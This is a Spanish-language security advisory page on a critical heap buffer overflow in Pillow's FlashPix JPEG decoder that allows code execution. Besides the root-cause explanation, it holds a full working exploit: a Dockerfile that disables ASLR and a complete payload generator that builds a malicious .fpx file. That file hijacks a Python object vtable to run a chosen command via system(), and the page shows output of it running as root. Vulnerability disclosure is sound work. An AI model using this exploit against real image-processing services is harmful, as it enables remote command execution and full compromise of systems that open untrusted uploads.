Crítica

Pillow: Desbordamiento de búfer en el montículo en la decodificación JPEG FlashPix (FPX) permite la ejecución de código

  • Publicada: 19.10.2026
  • Actualizado: 28.10.2026 13:17

El aviso original ha cambiado desde que se preparó esta explicación. Consulta los datos técnicos actuales y el aviso original a continuación.

Créditos

Investigador: Alex Bouffard (mixbo@pebwalker.com)

Resumen

Un desbordamiento de búfer en el montículo en el decodificador de teselas JPEG FlashPix (FPX) de Pillow permite a un atacante lograr la ejecución arbitraria de código logrando que una aplicación abra un único archivo manipulado con Image.open(). El archivo se reconoce por su contenido (la firma OLE2), no por su extensión, de modo que cualquier servicio que abra o genere miniaturas de subidas no confiables con la dependencia opcional olefile instalada es accesible sin interacción del usuario. En la PoC que figura a continuación, abrir un archivo manipulado ejecuta un comando elegido por el atacante en Pillow 12.2.0 estándar (x86_64 Ubuntu 24.04, glibc 2.39).

Detalles

FpxImagePlugin decodifica archivos FlashPix (FPX), que son documentos compuestos OLE2/CFBF.

Image.open() los detecta automáticamente a partir de la firma OLE2 D0CF11E0... siempre que el paquete opcional olefile esté instalado (dependencia documentada de Pillow para el soporte de FPX/MIC), independientemente de la extensión del archivo.

Para una subimagen comprimida con JPEG (compression == 2), el complemento construye una tesela de decodificación "jpeg" y deriva el par (rawmode, jpegmode) a partir de identificadores de color FPX controlados por el atacante mediante la tabla MODES (src/PIL/FpxImagePlugin.py L25-L32):

python
MODES = {
    ...
    (0x00018000, 0x00017FFE): ("RGBA", "LA"),                # rawmode "LA"  (2 bytes/pixel)
    ...
    (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"),  # rawmode "YCC;P"
}

El búfer de salida de Imaging para la tesela está dimensionado para el rawmode (aquí "LA" = 2 bytes/píxel) (src/decode.c L223-L226):

c
state->bytes = (state->bits * state->xsize + 7) / 8;   // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);

En JpegDecode.c, la cadena rawmode se asigna a un out_color_space de libjpeg. Los modos reconocidos (CMYK, YCbCr, YCbCrK, etc.) obtienen un espacio de color concreto, pero "LA" y "YCC;P" no se reconocen, por lo que el flujo llega a la rama de reserva (src/libImaging/JpegDecode.c L219-L221):

c
/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space  = JCS_UNKNOWN;

Bajo JCS_UNKNOWN, libjpeg no realiza conversión de color y emite cinfo.num_components bytes por píxel, tomados del marcador SOF del JPEG incrustado, que el atacante establece en 4. Por lo tanto, jpeg_read_scanlines escribe 4 * width bytes por fila en un búfer asignado para solo 2 * width bytes (src/libImaging/JpegDecode.c L252):

c
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);   // writes 4*W into a 2*W buffer

Esto representa una escritura fuera de límites en el montículo con una longitud controlada por el atacante (el ancho de la imagen, de hasta decenas de miles de píxeles, lo que supone unos 2 * width bytes de desbordamiento por fila) y un contenido controlado por el atacante (los datos de píxeles decodificados). La PoC lo utiliza como vector: el desbordamiento sobrescribe el ob_type de un objeto Python bytes adyacente con un puntero a una vtable falsa de PyTypeObject / PyBufferProcs que el mismo desbordamiento planta dentro del búfer de decodificación. Cuando Pillow libera el búfer de entrada, PyBuffer_Release recorre ob_type -> tp_as_buffer -> bf_releasebuffer y ejecuta call *rax; la PoC apunta esto a system@plt (fijo, el binario del intérprete no es PIE) con rdi configurado con la cadena del comando, logrando la ejecución de comandos.

PoC

Para facilitar una reproducción exacta en una máquina x86_64, esta PoC utiliza la imagen de Docker fijada por versión y con ASLR deshabilitado del Anexo A.

El código fuente para el generador del payload make_payload.py se encuentra en el Anexo B.

vulnerable.py es el programa bajo prueba, una sola línea que abre el archivo proporcionado:

python
#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image

Image.open(sys.argv[1]).load()

El payload es un archivo independiente .fpx que el atacante crea en su propio host; el objetivo únicamente abre el archivo resultante, por lo que construirlo no requiere acceso ni ejecución de código en el objetivo. Ejecutamos make_payload.py dentro del mismo contenedor aquí solo por conveniencia, de modo que sus direcciones fijas (--offset, system@plt) coincidan con esta imagen predefinida. El payload redirige la llamada indirecta secuestrada a system@plt (0x4206c0, fija porque el binario del intérprete no es PIE) con un comando predefinido:

bash
$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'

Luego se abre con vulnerable.py:

bash
$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size

Image.open() sobre el archivo manipulado ejecuta el comando predefinido a través de system("id"): ejecución de comandos con los privilegios del usuario que ejecuta el procesamiento de imágenes (root en el contenedor).

El corrupted size vs. prev_size final corresponde a la anulación de glibc durante el desmontaje del intérprete debido al montículo corrupto, después de que id ya se haya ejecutado.

El generador escribe el comando en línea en el rdi secuestrado, por lo que --cmd está limitado a 7 bytes (por ejemplo, id, id;w). --offset y system@plt son constantes de la imagen con ASLR deshabilitado y se mantienen a lo largo de sus ejecuciones.

Impacto

Se trata de un desbordamiento de búfer en el montículo (CWE-122) / escritura fuera de límites (CWE-787) que permite la ejecución de código. Cualquier aplicación o servicio que abra archivos influenciados por atacantes con Pillow y tenga instalada la dependencia opcional olefile se ve afectado: servicios de subida y creación de miniaturas de imágenes, procesamiento de avatares y multimedia, canales de conversión de documentos e imágenes, y similares. Dado que la detección se realiza mediante la firma OLE2 en lugar de la extensión del archivo y el desbordamiento se desencadena durante una operación normal de Image.open() / load, un servidor que procese automáticamente un archivo subido es explotable sin interacción del usuario. El resultado es la ejecución arbitraria de comandos en el contexto del proceso que realiza el procesamiento de imágenes, lo que conduce al compromiso total de ese proceso y de los datos y privilegios que posee.

Anexo A: Configuración de Docker

La PoC se ejecuta en una imagen de Docker fijada para que el entorno sea determinista; la imagen instala una versión fija de Python (3.12.3) y la rueda de Pillow 12.2.0, y el generador es puramente Pillow. El punto de entrada de la imagen deshabilita ASLR (setarch -R) para reducir los requisitos de conocimiento del sistema. El flag único --security-opt seccomp=unconfined en docker run solo se requiere porque deshabilitar ASLR utiliza la llamada al sistema personality() que el perfil seccomp predeterminado de Docker bloquea. Ejecútelo solo en infraestructura de su propiedad.

1. Construir la imagen. Coloque vulnerable.py (PoC) y make_payload.py (Anexo B) en un directorio con este Dockerfile:

dockerfile
FROM ubuntu:24.04@sha256:786a8b558f7be160c6c8c4a54f9a57274f3b4fb1491cf65146521ae77ff1dc54
RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates \
        python3.12=3.12.3-1ubuntu0.13 python3.12-venv=3.12.3-1ubuntu0.13 \
    && rm -rf /var/lib/apt/lists/*
RUN python3.12 -m venv /opt/v \
    && /opt/v/bin/pip install --no-cache-dir "Pillow==12.2.0" "olefile==0.47"
ENV PATH=/opt/v/bin:$PATH
WORKDIR /poc
# ASLR is an OS mitigation unrelated to the bug; disable it in-image for a deterministic heap.
ENTRYPOINT ["setarch", "-R"]
CMD ["bash"]
bash
$ docker build -t fjpeg1-poc .
...
Downloading pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl (7.1 MB)
Successfully installed Pillow-12.2.0 olefile-0.47
Successfully built 370344c832b6
Successfully tagged fjpeg1-poc:latest

2. Inicie la shell del contenedor (con ASLR deshabilitado) con los scripts montados:

bash
docker run --rm -it --security-opt seccomp=unconfined -v "$PWD:/poc" -w /poc fjpeg1-poc

Anexo B: Código fuente del generador de payload

make_payload.py:

python
#!/usr/bin/env python3
"""F-JPEG-1 payload builder for a 0-ASLR box (x86_64 + glibc), pure Pillow (no native toolchain).
Builds an .fpx whose embedded 4-component JPEG, decoded via Pillow's FpxImagePlugin -> JCS_UNKNOWN
path, overflows the 2-byte/px decode buffer and overwrites an adjacent object's ob_type.
  --crash      flood an adjacent ob_type with 0x42.. -> SIGSEGV in PyBuffer_Release
  (default)    CONTROL: fake vtable at the fixed (no-ASLR) addresses -> call *--target
Defaults target the pinned Docker image with ASLR disabled (setarch -R). See --help."""
import sys, io, struct, math, argparse
from PIL import Image

W, H = 65000, 2
SECT, OB_TYPE_OFF, DATA_PAD, SENTINEL = 512, 130024, 0x18000, 0x4142434445464748
FREESECT, ENDOFCHAIN, FATSECT, NOSTREAM = 0xFFFFFFFF, 0xFFFFFFFE, 0xFFFFFFFD, 0xFFFFFFFF
FPX_CLSID = bytes.fromhex("0067615654C1CE11855300AA00A1F95B")
o32 = lambda v: struct.pack("<I", v)
p64 = lambda v: struct.pack("<Q", v)
INV = bytes(255 - i for i in range(256))   # 8-bit inversion table

def jpeg(src):
    b = io.BytesIO()
    Image.frombytes("CMYK", (W, H), bytes(src)).save(b, "JPEG", quality=100, subsampling=0)
    return b.getvalue()

def decode_row(jpg):
    # Predict what the vulnerable JCS_UNKNOWN path decodes, using Pillow itself: JCS_UNKNOWN emits
    # the raw JPEG components R, while Pillow's own CMYK decode of the same file returns 255 - R
    # (the Adobe-CMYK inversion). So 255 - Image.open(jpg) is exactly the vulnerable output. The
    # last decoded row is the one that lands in (and overflows past) the buffer.
    px = Image.open(io.BytesIO(jpg)).tobytes()
    return px[(H - 1) * W * 4:].translate(INV)

def craft(targets, iters=40):  # decode-feedback exact write (JPEG is lossy -> iterate to converge)
    # base fill 0xBD -> decodes to 0x42, so the overflow GAPS match the crash-mode flood pattern
    # that reaches PyBuffer_Release cleanly (uniform 0x42 avoids a premature glibc free() abort).
    src = bytearray(b"\xbd" * (W * H * 4)); base = (H - 1) * W * 4; it = 0
    for off, t in targets:
        for i, v in enumerate(t): src[base + off + i] = src[off + i] = 255 - v
    for it in range(iters):
        dec = decode_row(jpeg(src)); bad = 0
        for off, t in targets:
            for i, v in enumerate(t):
                if dec[off + i] != v:
                    bad += 1
                    src[base + off + i] = src[off + i] = max(0, min(255, src[base + off + i] + dec[off + i] - v))
        if not bad: break
    return jpeg(src), it, bad

def maxid_for(w, h):
    s, i = max(w, h), 1
    while s > 64: s //= 2; i += 1
    return i - 1
MAXID = maxid_for(W, H); RESNAME = "Resolution %04d" % MAXID

def image_contents():
    ui4 = lambda v: o32(19) + o32(v); blob = lambda b: o32(65) + o32(len(b)) + b
    cb = o32(1) + o32(2) + o32(0x00018000) + o32(0x00017FFE)        # FPX color -> rawmode "LA"
    props = [(0x1000002, ui4(W)), (0x1000003, ui4(H)), (0x2000002 | (MAXID << 16), blob(cb))]
    voff = 8 + 8 * len(props); idx = vals = b""
    for pid, v in props: idx += o32(pid) + o32(voff); vals += v; voff += len(v)
    body = o32(len(props)) + idx + vals
    return (struct.pack("<HHI", 0xFFFE, 0, 0x00020005) + b"\x00" * 16 + o32(1) + b"\x00" * 16
            + o32(48) + o32(len(body) + 4) + body)

def subimage_header():
    b = bytearray(80)
    for o, v in [(32, W), (36, H), (40, 1), (44, max(W, 256)), (48, max(H, 256)), (52, 2),
                 (56, 36), (60, 16), (64, 0), (72, 2)]:
        struct.pack_into("<I", b, o, v)
    return bytes(b)

def build_fpx(jpg, out):
    data = b"\x00" * 28 + jpg
    assert len(data) <= DATA_PAD, (len(data), DATA_PAD)
    pad = lambda x: x + b"\x00" * ((-len(x)) % SECT)
    sd = {"ic": pad(image_contents().ljust(4096, b"\x00")),
          "hdr": pad(subimage_header().ljust(4096, b"\x00")),
          "dat": pad(data.ljust(DATA_PAD, b"\x00"))}
    ns = lambda x: len(x) // SECT; order = ["ic", "dat", "hdr"]
    dsec = math.ceil(6 * 128 / SECT); content = dsec + sum(ns(sd[k]) for k in order)
    fsec = 1
    while fsec * 128 < fsec + content: fsec += 1
    pos = {}; cur = fsec; dstart = cur; cur += dsec
    for k in order: pos[k] = cur; cur += ns(sd[k])
    total = cur
    fat = [FREESECT] * (fsec * 128)
    for s in range(fsec): fat[s] = FATSECT
    def chain(a, n):
        for j in range(n): fat[a + j] = a + j + 1 if j < n - 1 else ENDOFCHAIN
    chain(dstart, dsec)
    for k in order: chain(pos[k], ns(sd[k]))
    def de(nm, t, ch, l, r, st, sz, cl=b"\x00" * 16):
        n = (nm.encode("utf-16-le") + b"\x00\x00").ljust(64, b"\x00")[:64]
        return (n + struct.pack("<HBB", min((len(nm) + 1) * 2, 64), t, 1) + o32(l) + o32(r)
                + o32(ch) + cl + o32(0) + b"\x00" * 16 + o32(st) + struct.pack("<Q", sz))
    directory = pad(b"".join([
        de("Root Entry", 5, 1, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0, FPX_CLSID),
        de("Data Object Store 000001", 1, 2, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("\x05Image Contents", 2, NOSTREAM, NOSTREAM, 3, pos["ic"], len(sd["ic"])),
        de(RESNAME, 1, 4, NOSTREAM, NOSTREAM, ENDOFCHAIN, 0),
        de("Subimage 0000 Data", 2, NOSTREAM, NOSTREAM, 5, pos["dat"], len(sd["dat"])),
        de("Subimage 0000 Header", 2, NOSTREAM, NOSTREAM, NOSTREAM, pos["hdr"], len(sd["hdr"]))]))
    h = bytearray(512); h[0:8] = bytes.fromhex("D0CF11E0A1B11AE1")
    for o, fmt, *v in [(24, "<HH", 0x3E, 3), (28, "<H", 0xFFFE), (30, "<HH", 9, 6), (44, "<I", fsec),
                       (48, "<I", dstart), (56, "<I", 4096), (60, "<I", ENDOFCHAIN), (68, "<I", ENDOFCHAIN)]:
        struct.pack_into(fmt, h, o, *v)
    for i in range(109): struct.pack_into("<I", h, 76 + i * 4, i if i < fsec else FREESECT)
    secs = [b""] * total
    for s in range(fsec): secs[s] = b"".join(o32(x) for x in fat[s * 128:(s + 1) * 128])
    for j in range(dsec): secs[dstart + j] = directory[j * SECT:(j + 1) * SECT]
    for k in order:
        for j in range(ns(sd[k])): secs[pos[k] + j] = sd[k][j * SECT:(j + 1) * SECT]
    open(out, "wb").write(bytes(h) + b"".join(secs))

def xhex(s): return int(s, 16)

SYSTEM_PLT = 0x4206c0   # system@plt in the image's non-PIE python3.12 (fixed, no libc leak)

def main():
    ap = argparse.ArgumentParser(description="F-JPEG-1 .fpx payload builder (0-ASLR box)")
    ap.add_argument("--out", required=True, help="output .fpx path")
    ap.add_argument("--crash", action="store_true",
                    help="crash mode: flood an adjacent ob_type with 0x42.. and SIGSEGV (no addresses)")
    ap.add_argument("--heap-base", type=xhex, default=0xbaa000,
                    help="fixed heap base of the 0-ASLR box (default 0xbaa000)")
    ap.add_argument("--offset", type=xhex, default=0x21e800,
                    help="state->buffer - heap_base (default 0x21e800 -> S=0xdc8800)")
    ap.add_argument("--target", type=xhex, default=SENTINEL,
                    help="value called via the hijacked vtable; pass %#x (system@plt) for "
                         "command execution (default is a sentinel for an RIP-control demo)" % SYSTEM_PLT)
    ap.add_argument("--cmd", default="id",
                    help="command system() runs, written inline at obj+0 / rdi (<=7 bytes, e.g. id, id;w)")
    a = ap.parse_args()

    if a.crash:
        # Pillow's CMYK JPEG path decodes inverted (decoded = 255 - src), so flood source 0xBD
        # to make the decoded overflow bytes 0x42 -> the adjacent ob_type becomes 0x4242424242424242.
        build_fpx(jpeg(bytes([0xBD]) * (W * H * 4)), a.out)
        print("[crash] %s: opening it overwrites an adjacent ob_type with 0x4242424242424242 "
              "-> SIGSEGV in PyBuffer_Release (no addresses)" % a.out)
        return

    if len(a.cmd.encode()) > 7:
        sys.exit("--cmd must be <=7 bytes (it is written inline at obj+0, before ob_type)")
    S = a.heap_base + a.offset
    A0, A1, B0, B1 = 0x2000, 0xA000, 0x100, 0x2000     # spray A = fake type, spray B = TARGET
    tg = [(OB_TYPE_OFF, p64(S + (A0 + A1) // 2)),
          (OB_TYPE_OFF - 8, a.cmd.encode() + b"\x00")]      # obj+0 -> rdi for system()
    tg += [(o, p64(S + 0x100)) for o in range(A0, A1, 8)]   # fake type -> spray B at +0xa0..+8
    tg += [(o, p64(a.target)) for o in range(B0, B1, 8)]
    jpg, it, bad = craft(tg)
    build_fpx(jpg, a.out)
    print("[control] %s: S=%#x target=%#x cmd=%r craft_iters=%d bad=%d"
          % (a.out, S, a.target, a.cmd, it, bad))
    print("[control] opening it: vtable hijack -> call *%#x with rdi -> %r" % (a.target, a.cmd))

if __name__ == "__main__":
    main()

Qué hacer

No se ha establecido una remediación.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow < 13.0.0 13.0.0

Referencias

Puntuación CVSS 9.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-122, CWE-787
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
19.10.2026
Actualizado
28.10.2026 13:17

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-5x8w-8jj5-q52h - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-4330 - PyPA Advisory Database; CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (106) en el archivo
Entradas en total
106
Primera → última
04.2014 11.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 14
  • Alta 63
  • Media 27
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

antes: 12

Gravedad:
  1. Alta CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  2. Crítica CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  3. Alta · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  4. Pillow: Desbordamiento de búfer en el montículo en la decodificación JPEG FlashPix (FPX) permite la ejecución de código esta entrada
    Crítica · 9.8 CVE-2026-112398 < 13.0.0 13.0.0
  5. Crítica · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  6. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  7. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  8. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  9. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  10. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  11. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  12. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  13. Alta · 8.8 Explotada en ataques CVE-2023-4863 < 10.0.1 10.0.1
  14. Alta · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  15. Alta · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  16. Alta · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  17. Crítica · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  18. Alta · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  19. Crítica · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  20. Alta · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  21. Alta · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  22. Alta · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  23. Alta · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  24. Alta · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  25. Alta · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  26. Alta · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  27. Alta · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  28. Crítica · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  29. Alta · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  30. Alta · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  31. Alta · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  32. Alta · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  33. Alta · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  34. Crítica · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  35. Alta · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
Mostrar más (17) Mostrando 60 de 77

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.